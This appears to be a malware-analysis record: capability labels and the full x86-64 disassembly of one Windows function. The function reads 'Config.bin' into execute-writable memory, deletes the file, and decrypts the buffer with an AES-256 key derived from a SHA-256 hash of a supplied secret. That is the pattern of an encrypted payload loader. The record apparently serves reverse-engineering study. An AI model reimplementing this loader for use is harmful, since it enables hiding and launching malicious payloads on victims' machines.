Function at 0x1400010e0
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get file size
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows

Disassembly:
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x380]
sub rsp, 0x480
mov rax, qword [0x140024008]
xor rax, rsp
mov qword [rbp + 0x370], rax
mov r15d, r8d
lea rcx, str.Config.bin
mov r14, rdx
xor r12d, r12d
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000139b
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140001392
mov rdx, qword [rsp + 0x40]
test rdx, rdx
je 0x140001392
mov qword [rsp + 0x4b0], rbx
lea r9d, [r12 + 0x40]
xor ecx, ecx
mov qword [rsp + 0x4c8], rsi
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], r12
mov r8d, 0x400
lea rdx, [rsp + 0x70]
mov rcx, rdi
mov rsi, rax
mov ebx, r12d
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000125c
nop
mov ecx, dword [rsp + 0x48]
test ecx, ecx
je 0x14000125c
movsxd rdx, ebx
lea rax, [rsp + 0x70]
mov r9d, ecx
add rdx, rsi
shr r9, 3
mov r8d, ecx
test r9, r9
je 0x140001208
nop word [rax + rax]
mov rcx, qword [rax]
add rax, 8
mov qword [rdx], rcx
add rdx, 8
sub r9, 1
jne 0x1400011f0
mov ecx, dword [rsp + 0x48]
and r8d, 7
je 0x140001234
sub rdx, rax
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rax]
mov byte [rdx + rax], cl
lea rax, [rax + 1]
sub r8, 1
jne 0x140001220
mov ecx, dword [rsp + 0x48]
add ebx, ecx
mov qword [rsp + 0x20], r12
mov rcx, rdi
lea r9, [rsp + 0x48]
mov r8d, 0x400
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400011c0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Config.bin
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov r9d, 0x18
mov dword [rsp + 0x50], eax
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov rbx, qword [rsp + 0x4b0]
test eax, eax
je 0x140001386
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001386
mov rcx, qword [rsp + 0x60]
xor r9d, r9d
mov r8d, r15d
mov rdx, r14
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001386
mov r8, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001386
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
mov qword [rsp + 0x20], rsi
lea r8d, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001386
mov rcx, qword [rsp + 0x58]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rax, rsi
mov rsi, qword [rsp + 0x4c8]
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.140001600
add rsp, 0x480
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov rcx, rsi
call fcn.14000a2d0
xor eax, eax
jmp 0x14000135f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001367